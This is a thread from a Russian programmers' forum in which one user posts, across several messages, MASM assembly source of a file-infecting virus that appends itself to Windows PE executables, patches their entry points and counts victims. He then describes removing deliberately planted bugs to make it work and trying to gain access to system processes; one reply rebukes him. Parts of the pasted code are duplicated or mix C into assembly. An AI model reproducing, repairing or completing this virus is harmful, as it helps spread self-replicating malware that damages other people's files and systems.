Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 26.08.2012, 00:14   #21
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

№4

Код:
; Выделяем память под размер файла dwAlignedFileSize
    push eax
    push 0
    call GlobalAlloc
    push eax               ; Сохраняем адрес распределенной памяти pAllocMem

    ; Сейчас стек содержит:
    ; pAllocMem
    ; dwAlignedFileSize
    ; dwFileSize
    ; hFile

    ; Проверяем, нет ли ошибки при выделении памяти
    test eax, eax
    jz   _CloseFile        ; Ошибка есть

    ; Читаем файл
    push 0
    push esp
    push dwFileSize        ; Количество байт для чтения
    push eax               ; Буфер для прочитанных данных
    push hFile
    call ReadFile
    or   eax, eax
    jz   _CloseFile        ; Прыгаем, если не удалось прочитать файл
    call GlobalAlloc
    push eax               ; Сохраняем адрес распределенной памяти pAllocMem

    ; Сейчас стек содержит:
    ; pAllocMem
    ; dwAlignedFileSize
    ; dwFileSize
    ; hFile

    ; Проверяем, нет ли ошибки при выделении памяти
    test eax, eax
    jz   _CloseFile        ; Ошибка есть

    ; Читаем файл
    push 0
    push esp
    push dwFileSize        ; Количество байт для чтения
    push eax               ; Буфер для прочитанных данных
    push hFile
    call ReadFile
    or   eax, eax
    jz   _CloseFile        ; Прыгаем, если не удалось прочитать файл

    ; Далее - код инфицирования
    mov edi, pAllocMem          ; Начало прочитанного файла
    mov edi, delta_off
    add edi, [edi + 3Ch]        ; VA of PE header
    cmp word ptr [edi], 4550h   ; Проверка на валидность ...
    jne _Exit

    add edi, 4Ch								
    cmp dword ptr [edi], 10041986h  ; Поле Reserv. Проверяем, заражен ли файл 
                                    ; нашим вирусом
    je  _CloseFile
    mov dword ptr [edi], 10041986h  ; если нет, то ставим метку о заражении
    sub edi, 4Ch

     ; Ищем последнюю секцию
_SearchLastSection:
    movzx ecx, word ptr [edi + 6]     ; Количество элементов (счетчик) в 
                                      ; таблице секций ObjectTable
    movzx esi, word ptr [edi + 14h]   ; Размер опционального заголовка.
; Перепрыгиваем через опциональный заголовок. Попадаем на дескриптор первой 
; секции:
    lea   esi, [edi+esi+18h]          ; VA первой секции
    mov   ebx, [esi + 14h]            ; Наибольшее значение PhysicalOffset
    mov   edx, [esi + 0Ch]            ; Наибольшее значение VirtualRVA
    push  esi                         ; Сохраним VA элемента с наибольшим
                                      ; VirtualRVA
    push  esi                         ; Сохраним VA элемента с наибольшим 
                                      ; PhysicalOffset

_SearchHighPhysOffs:                  ; Ищем
    cmp  ebx, [esi + 14h]             ; Если оно меньше, чем в наибольшем, 
                                      ; то...
    ja   _SearchHighVirtRVA
    mov  ebx, [esi + 14h]             ; Иначе, примем за наибольшее
    mov  [esp], esi

_SearchHighVirtRVA:                   ; Аналогично, но с VirtualRVA
    cmp  edx, [esi + 0Ch]
    ja   _OtherElement
    mov  edx, [esi + 0Ch]
    mov  [esp + 4], esi

_OtherElement:
    add  esi, 28h                     ; ... переходим на дескриптор
                                      ; следующей секции
    loop _SearchHighPhysOffs          ; перебираем дескрипторы всех секций
    pop esi
    pop edi

;esi - VA элемента с наибольшим PhysicalOffset
;edi - VA элемента с наибольшим VirtualRVA
;ebx - Физическое смещение секции с наибольшим PhysicalOffset
;edx - Виртуальное смещение секции с наибольшим VirtualRVA

    ; Проверяем последнюю секцию на правильность
_CheckOnValid:
    cmp  esi, edi                     ; Проверим, принадлежат ли найденные 
                                      ; смещения одному дескриптору
    jne  _CloseFile                   ; Не принадлежат - выходим
    mov  edi, pAllocMem               ; Начало прочитанного файла
    mov  edi, delta_off
	mov  edx, [esi + 10h]             ; edx = физический размер последней
                                      ; секции
    or   edx, edx                     ; Проверим физический размер
                                      ; последней секции
    jz   _CloseFile                   ; недопустимо, чтобы был 0

    ; Теперь проверим: если физический_размер_секции + 
    ; физическое_смещение_секции меньше, чем размер всего файла, то файл не 
    ; трогаем, т.к. скорее всего это самораспаковывающийся архив. Мы его 
    ; повредим, затерев данные за последней секцией
djonatan98 вне форума Ответить с цитированием
Старый 26.08.2012, 00:18   #22
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

#5

Код:
mov   eax, [esi + 10h]
    add   eax, [esi + 14h]
    .IF   eax < dwFileSize
        jmp _CloseFile
    .ENDIF

   WriteVirus:
    push esi
    push edi                             ; Сохраним VA жертвы
    mov  ecx, dword ptr Virsize          ; Размер записываемого кода
    add  edi, ebx                        ; VA последней секции жертвы
    add  edi, [esi + 10h]                ; Теперь edi указывает на конец 
                                         ; последней секции
    mov  ebx, esi
    lea  esi, start
    
    ; Сохраняем 5 байт save_vir_b в old_save_vir_b
    pusha
    mov  ecx, 5h
    lea  esi, save_vir_b
    add  esi, delta_off
    lea  edi, old_save_vir_b
    rep movsb
    popa

    pusha

    ; формируем код прыжка на тело вируса

    ; Высчитываем RVA кода вируса в памяти относительно ImageBase
    ; RVA кода вируса = RVA последней секции + Physical Size последней секции
    mov   eax, [ebx + 0Ch]
    add   eax, [ebx + 10h]
    ; eax = RVA кода вируса в памяти относительно ImageBase

    ; Находим физическое смещение точки входа жертвы
    ; Ищем описатель секции с SectionRVA = BaseOfCode
_SearchCodeSection:
    mov   edi, pAllocMem                 ; Начало прочитанного файла
    add   edi, [edi + 3Ch]               ; VA of PE header
    movzx ecx, word ptr [edi + 6]        ; Количество элементов в таблице 
                                         ; секций
    movzx esi, word ptr [edi + 14h]      ; Размер опционального заголовка.
                                         ; Перепрыгиваем через опциональный 
                                         ; заголовок. Попадаем на дескриптор 
                                         ; первой секции:
    lea   esi, [edi+esi+18h]             ; VA первой секции

_SearchCodeSectionLoop:
    mov   edx, [esi + 0Ch]               ; значение VirtualRVA
    cmp   edx, [edi + 2Ch]               ; сравниваем VirtualRVA с BaseOfCode
    je    _CodeSectionFounded            ; нашли
    add   esi, 28h                       ; не нашли
    loop  _SearchCodeSectionLoop         ; продолжаем цикл поиска

_CodeSectionFounded:
    mov   ebx, [esi + 14h]               ; берем PhysicalOffset найденной
                                         ; секции кода
    add   ebx, [edi + 28h]               ; складываем PhysicalOffset c
                                         ; EntryPointRVA
    sub   ebx, [edi + 2Ch]               ; вычитаем BaseOfCode. Получили 
                                         ; смещение точки входа
                                         ; относительно начала файла жертвы
    ; ebx = физическое смещение точки входа относительно начала файла жертвы

   ; Высчитываем прыжок
    mov  ecx, [edi + 28h]
    add  ecx, 5
    sub  ecx, eax
    xor  eax, eax
    sub  eax, ecx
    push eax                     ; результат формулы x = 0 - (y - z)

    ; сохраняем старые 5 бaйт начала кода жертвы
    mov ecx, 5h
    lea edi, save_vir_b
    mov esi, pAllocMem
    add esi, ebx
    rep movsb

    ; записываем джамп на код вируса
    mov edi, pAllocMem
    add edi, ebx
    lea esi, j_m_p
    movsb
    pop ebx
    mov dword ptr [edi], ebx

    popa

    rep  movsb    ; Записываем тело вируса в файл жертвы

    ; Восстанавливаем 5 байт save_vir_b из old_save_vir_b
    pusha
    mov  ecx, 5h
    lea  esi, old_save_vir_b
    add  esi, delta_off
    lea  edi, save_vir_b
    add  edi, delta_off
    rep movsb
    popa

    pop  edi
    pop  esi

    ; Выравниваем физический размер секции
_AlgnPhSz:
    add  edi, [edi + 3Ch]                ; edi = VA of PE header
    add  [esi + 10h], dword ptr Virsize  ; Увеличим физический размер секции
    mov  eax, [edi + 3Ch]                ; Берем выравнивающий фактор
                                         ; FileAlign
    dec  eax
    add  [esi + 10h], eax
    not  eax
    and  [esi + 10h], eax


    ; Освобождаем стек
djonatan98 вне форума Ответить с цитированием
Старый 26.08.2012, 00:19   #23
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

№6
Код:
; Выравниваем виртуальный размер
_AlgnVrSz:
    mov   ecx, [esi + 08h]               ; Берем виртуальный размер
    jecxz _PtchImSz                      ; Прыгаем, если размер = 0
    add   [esi + 08h], dword ptr Virsize ; Увеличим виртуальный размер секции
    mov   eax, [edi + 38h]               ; Берем выравнивающий фактор
                                         ; ObjectAlign
    shl   eax, 1                         ; Увеличиваем в 2 раза (для запаса 
                                         ; памяти)
    dec   eax
    add   [esi + 08h], eax
    not   eax
    and   [esi + 08h], eax

     ; Патчим ImageSize = VirtualRVA(Last section) + VirtualSize(Last section)
_PtchImSz:
    mov   eax, [esi + 0Ch]             ; VirtualRVA(Last section)
    add   eax, [esi + 08h]             ; VirtualSize(Last section)
    mov   [edi + 50h], eax

    ; Изменяем флаги, характеризующие секцию
_ObjFlags:
    mov  eax, [esi + 24h]
    .IF !(eax & 00000020h)             ; Секция содержит программный код
        or eax, 00000020h
    .ENDIF
    .IF !(eax & 20000000h)             ; Секция является исполняемой
        or eax, 20000000h
    .ENDIF
    .IF !(eax & 80000000h)             ; Секция может использоваться для 
                                       ; записи и чтения
        or eax, 80000000h
    .ENDIF
    mov  [esi + 24h], eax

    _WriteFile:      
    xor esi, esi
    push esi
    push esi
    push esi
    push hFile
    call SetFilePointer

    xor  esi, esi
    push delta_off
	push esi
    push esp
    push dwAlignedFileSize
    push pAllocMem
    push hFile
    call WriteFile
    test eax, eax             ; Не удалось записать код в программу
    jz   _CloseFile

    ; Инкрементируем счетчик зараженных программ
    lea  esi, infect_count
    add  esi, delta_off
    inc  byte ptr [esi]

_CloseFile:
    push hFile
    call CloseHandle
    push pAllocMem
    call GlobalFree

    ; Освобождаем стек
    pop  eax
    pop  eax
    pop  eax
    pop  eax

    ; Проверим, сколько файлов уже заразили
    lea  esi, infect_count
    add  esi, delta_off
    cmp  byte ptr [esi], MaxVictimNumber  ; Если меньше MaxVictimNumber, то 
                                          ; продолжаем. Иначе - выходим
    jl   _FindNextFileA

_Exit:
    push hFind
    call FindClose                 ; Закрываем поиск файлов
    cmp  dword ptr delta_off, 0    ; проверяем поколение
    jz   ExitVirus                 ; поколение первое - завершаемся

    ; ищем начало заражаемого файла по сигнатуре на текущей странице памяти	
    mov eax, OFFSET begin_data
    add eax, delta_off
    xor ax, ax
_SearchMZPE_:
    mov   edi, [eax + 3Ch]
    .IF word ptr [eax] != 5A4Dh || word ptr [eax + edi] != 4550h
        sub eax, 10000h
        jmp _SearchMZPE_
    .ENDIF

    ; Вычисляем EntryPoint VA
    mov edi, eax                      ; edi = VA of MZ header
    add edi, dword ptr [edi + 3Ch]    ; edi = VA of PE header
    mov eax, dword ptr [edi + 28h]    ; eax = RVA of EntryPoint
    add eax, dword ptr [edi + 34h]    ; eax = VA of EntryPoint
	
    pusha
    push esp   ; адрес переменной, в нее возвращается "старый" режим доступа
    push 40h   ; режим доступа (нам нужен 40h)
    push 5h    ; размер области памяти в байтах
    push eax   ; адрес области памяти, чьи атрибуты страниц нужно изменить
    call VirtualProtect
    popa

    ; Восстанавливаем 5 байт начала программы-носителя
    mov  ecx, 5h
    lea  esi, save_vir_b
    add  esi, delta_off       ; esi = VA of save_vir_b
    mov  edi, eax             ; edi = VA of EntryPoint
    rep  movsb

    ; Прыгаем на код носителя
    jmp  eax
    
ExitVirus:
    push 0
    call _ExitProcess

end start
djonatan98 вне форума Ответить с цитированием
Старый 27.08.2012, 12:51   #24
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Я модийицировал сам вредоносный код -

Код:
; Загружаем user32.dll
    pushz "user32.dll"
    call  LoadLibrary
    push  eax

    ; Находим MessageBoxA
    pushz "MessageBoxA"
    push  eax
    call  GetProcAddress
    call  OpenProcess,PROCESS_ALL_ACCESS,1,PID
        
    if(hProcess == NULL)
	{
		MessageBoxA(NULL, "You have not enough rights to attach dlls", "Error!", 0);
		return FALSE;
	}

    .endif
вызывает нарушения прав доступа к системному процессу.

То есть модификация вызова MessageBooxA, с целью получения доступа к системному процессу,не имея прав доступа,должно при заражений выдавать

MessageBoxA(NULL, "You have not enough rights to attach dlls", "Error!", 0);

Привожу ошибки компилятора - http://s45.radikal.ru/i109/1208/59/fbca12875c41.jpg
djonatan98 вне форума Ответить с цитированием
Старый 31.08.2012, 16:16   #25
f.hump
C/C++, Asm
Участник клуба
 
Аватар для f.hump
 
Регистрация: 02.03.2010
Сообщений: 1,323
По умолчанию

2djonatan98
для того, чтобы толково разрушать, нужно уметь толково создавать.

хочется подсмотреть чужой код в целях общего развития - подсматривай. но нафига этот хлам сюда постить, и завливать пустыми вопросами, на которые компилятор дал ответ - мне, мягко говоря, не понятно.
f.hump вне форума Ответить с цитированием
Старый 31.08.2012, 21:40   #26
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Я во всем разобрался и нашел ошибки в коде, я даже переписал часть кода,снял ограничения на запись в дирректории, он выдает только четыре ошибки из них, только одна вгоняет в ступр - A2154
djonatan98 вне форума Ответить с цитированием
Старый 31.08.2012, 21:49   #27
djonatan98
Форумчанин
 
Регистрация: 15.04.2012
Сообщений: 103
По умолчанию

Там в коде были специально введены логические ошибки,из-за которых работа программы была невозмжны, например -
установлен в 0 CheckVictimSize equ,0 - проверка размера файла отключена,в результате не выполнялось условие

mov ebx, CheckVictimSize
.IF ebx && eax > MaxVictimSize
; Размер не подходит. Пропускаем файл
jmp _FindNextFileA
.ENDIF

и это приводило к ошибке при проверке рамзера файла жерты и таких ошибок куча была в коде,я нашел и исправил практически все, о есть еще четыре хитро-спрятанные ошибки.
djonatan98 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Программа с применением записей и программа с применение множеств smert99 Помощь студентам 0 16.06.2011 23:14
Программа открыается если есть другая программа. bookkc Паскаль, Turbo Pascal, PascalABC.NET 12 14.10.2009 20:09
[PASCAL]Программа создания файла, программа обработки файла Виколяшка Фриланс 7 23.09.2009 17:38
Программа создания файла, программа обработки файла [PASCAL] Виколяшка Помощь студентам 1 22.09.2009 22:56